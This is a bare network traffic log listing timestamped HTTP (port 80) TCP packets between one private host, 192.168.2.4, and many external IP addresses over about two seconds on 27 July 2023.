Jul 27, 2023 21:53:05.674777985 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.683607101 CEST	80	49906	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:05.683696032 CEST	80	49906	93.187.206.66	192.168.2.4
Jul 27, 2023 21:53:05.683825970 CEST	49906	80	192.168.2.4	93.187.206.66
Jul 27, 2023 21:53:05.700005054 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.739628077 CEST	80	49907	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:05.741269112 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:05.749313116 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:05.756968975 CEST	49909	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:05.765963078 CEST	49910	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:05.769743919 CEST	49911	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:05.780174017 CEST	80	49910	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:05.780313969 CEST	49910	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:05.787399054 CEST	80	49909	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:05.787523031 CEST	49909	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:05.872864962 CEST	80	49908	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:05.873048067 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:05.916462898 CEST	49910	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:05.916546106 CEST	49909	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:05.917217016 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:05.917675972 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:05.917866945 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:05.930581093 CEST	80	49910	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:05.932007074 CEST	49914	80	192.168.2.4	96.91.204.114
Jul 27, 2023 21:53:05.943044901 CEST	80	49910	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:05.943216085 CEST	49910	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:05.946798086 CEST	80	49909	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:05.947897911 CEST	80	49909	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:05.948007107 CEST	49909	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:06.040527105 CEST	80	49908	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:06.046919107 CEST	80	49908	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:06.046998024 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:06.057373047 CEST	80	49912	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.057544947 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.082356930 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:06.082508087 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:06.134397984 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.135252953 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:06.135426998 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:06.176023006 CEST	80	49848	3.65.101.129	192.168.2.4
Jul 27, 2023 21:53:06.176162958 CEST	49848	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:53:06.184688091 CEST	49915	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:06.185059071 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.201351881 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.201523066 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.202037096 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.218276024 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.221353054 CEST	49917	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:06.237649918 CEST	80	49917	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:06.237761021 CEST	49917	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:06.238145113 CEST	49917	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:06.254328966 CEST	80	49917	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:06.266365051 CEST	80	49908	108.167.164.216	192.168.2.4
Jul 27, 2023 21:53:06.266499996 CEST	49908	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:53:06.266765118 CEST	80	49917	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:06.266844988 CEST	49917	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:06.273502111 CEST	80	49912	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.273533106 CEST	80	49912	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.273636103 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.273710012 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.299951077 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:06.300334930 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:06.300533056 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:06.353538990 CEST	49912	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.434402943 CEST	49918	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.465359926 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:06.492639065 CEST	80	49912	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.493030071 CEST	80	49860	80.93.82.33	192.168.2.4
Jul 27, 2023 21:53:06.493227005 CEST	49860	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:53:06.554970026 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.555860996 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.572283030 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:06.572432041 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.573858976 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.574351072 CEST	80	49918	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.574486017 CEST	49918	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.575160027 CEST	49918	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.587389946 CEST	80	49919	77.68.50.105	192.168.2.4
Jul 27, 2023 21:53:06.590178967 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:06.590708971 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.591099977 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.623709917 CEST	80	49919	77.68.50.105	192.168.2.4
Jul 27, 2023 21:53:06.623770952 CEST	80	49919	77.68.50.105	192.168.2.4
Jul 27, 2023 21:53:06.624084949 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.629949093 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:06.630287886 CEST	80	49913	69.163.239.62	192.168.2.4
Jul 27, 2023 21:53:06.630425930 CEST	49913	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:53:06.714479923 CEST	80	49918	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.714509964 CEST	80	49918	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.714773893 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.714948893 CEST	49918	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.722003937 CEST	80	49854	59.106.19.204	192.168.2.4
Jul 27, 2023 21:53:06.724647045 CEST	49918	80	192.168.2.4	52.71.57.184
Jul 27, 2023 21:53:06.725830078 CEST	49854	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:53:06.740535021 CEST	80	49907	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:06.740606070 CEST	49907	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:06.747145891 CEST	80	49919	77.68.50.105	192.168.2.4
Jul 27, 2023 21:53:06.747173071 CEST	80	49919	77.68.50.105	192.168.2.4
Jul 27, 2023 21:53:06.747277975 CEST	49919	80	192.168.2.4	77.68.50.105
Jul 27, 2023 21:53:06.752825022 CEST	80	49852	70.39.251.249	192.168.2.4
Jul 27, 2023 21:53:06.752970934 CEST	49852	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:53:06.770617962 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770669937 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770697117 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770726919 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770756006 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770797968 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770823956 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770850897 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770876884 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770895004 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.770895004 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.770895004 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.770904064 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.770983934 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.770983934 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.771509886 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.771537066 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.771574974 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.771605968 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.815567017 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:06.815601110 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:06.815700054 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.816520929 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.863713026 CEST	80	49918	52.71.57.184	192.168.2.4
Jul 27, 2023 21:53:06.880991936 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881028891 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881055117 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881083965 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881114960 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881268978 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881303072 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881331921 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.881344080 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881397963 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.881408930 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881439924 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.881447077 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.881494999 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.882289886 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.882328033 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.882414103 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.882414103 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.882443905 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.882472992 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.882474899 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.882519007 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.882551908 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.883243084 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.883290052 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.883321047 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.883342028 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.883358002 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.883358955 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.883392096 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.883395910 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.883428097 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.883460999 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.884228945 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.884255886 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.884320974 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.884329081 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.884345055 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.884403944 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.920233011 CEST	80	49904	135.181.73.98	192.168.2.4
Jul 27, 2023 21:53:06.920341969 CEST	49904	80	192.168.2.4	135.181.73.98
Jul 27, 2023 21:53:06.959243059 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:06.975719929 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:06.990281105 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990331888 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990367889 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990401030 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990438938 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990540981 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.990605116 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.990632057 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990665913 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990706921 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.990787983 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.990931034 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.990955114 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.991007090 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.991029024 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.991034031 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.991053104 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.991079092 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.991117001 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.991158962 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.991954088 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.991976023 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.992002010 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.992029905 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.992046118 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.992057085 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.992101908 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.992121935 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.992975950 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993004084 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993026972 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993052006 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993082047 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993210077 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.993249893 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.993884087 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993905067 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993927002 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993977070 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.993980885 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.994007111 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.994012117 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.994050980 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.994076014 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.994864941 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.994888067 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.994910955 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.994954109 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.994962931 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.994982958 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.995001078 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.995040894 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.995893002 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.995973110 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.995994091 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996021032 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996049881 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996049881 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.996073008 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.996102095 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.996861935 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996896982 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996926069 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996941090 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.996954918 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996965885 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.996982098 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.996994972 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.997025967 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.997041941 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.997790098 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.997823954 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.997852087 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.997876883 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:06.997915983 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:06.997955084 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.056313038 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:07.092180014 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:07.092219114 CEST	80	49920	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:07.092328072 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:07.092370987 CEST	49920	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:07.099881887 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.099924088 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.099951029 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.099977016 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100001097 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100121021 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.100162983 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.100184917 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100214958 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100240946 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100290060 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100315094 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.100315094 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.100318909 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.100342989 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.100374937 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101109028 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101141930 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101172924 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101212978 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101438999 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101475000 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101497889 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101535082 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101574898 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101826906 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101857901 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101883888 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101911068 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101928949 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.101950884 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.101977110 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.102004051 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.102864027 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.102896929 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.102926970 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.102948904 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.102955103 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.102983952 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.102988005 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.103027105 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.103060961 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.103687048 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.103717089 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.103744030 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.103770971 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.103790045 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.103796959 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.103826046 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.103868961 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.104593992 CEST	80	49916	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:07.104687929 CEST	49916	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:07.138004065 CEST	49897	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:07.182188988 CEST	80	49921	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:07.185051918 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:07.243585110 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:07.244144917 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:07.372999907 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:07.473114014 CEST	49922	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:07.479470015 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.489321947 CEST	80	49922	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:07.489521980 CEST	49922	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:07.489970922 CEST	49922	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:07.496670961 CEST	80	49921	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:07.498012066 CEST	80	49921	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:07.498044968 CEST	80	49921	72.44.93.236	192.168.2.4
Jul 27, 2023 21:53:07.498106956 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:07.498153925 CEST	49921	80	192.168.2.4	72.44.93.236
Jul 27, 2023 21:53:07.506063938 CEST	80	49922	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:07.604809046 CEST	80	49835	96.127.180.42	192.168.2.4
Jul 27, 2023 21:53:07.605046034 CEST	49835	80	192.168.2.4	96.127.180.42
Jul 27, 2023 21:53:07.644031048 CEST	80	49923	69.163.218.51	192.168.2.4
Jul 27, 2023 21:53:07.644284964 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.644608021 CEST	49923	80	192.168.2.4	69.163.218.51
Jul 27, 2023 21:53:07.659898996 CEST	49924	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:07.662771940 CEST	80	49922	23.227.38.74	192.168.2.4
Jul 27, 2023 21:53:07.663280964 CEST	49922	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:53:07.714474916 CEST	80	49871	208.109.214.162	192.168.2.4
Jul 27, 2023 21:53:07.716938019 CEST	49871	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:53:07.755518913 CEST	49925	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:53:07.778476954 CEST	49926	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:53:07.803786993 CEST	80	49924	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:07.804052114 CEST	49924	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:07.804555893 CEST	49924	80	192.168.2.4	104.196.26.65
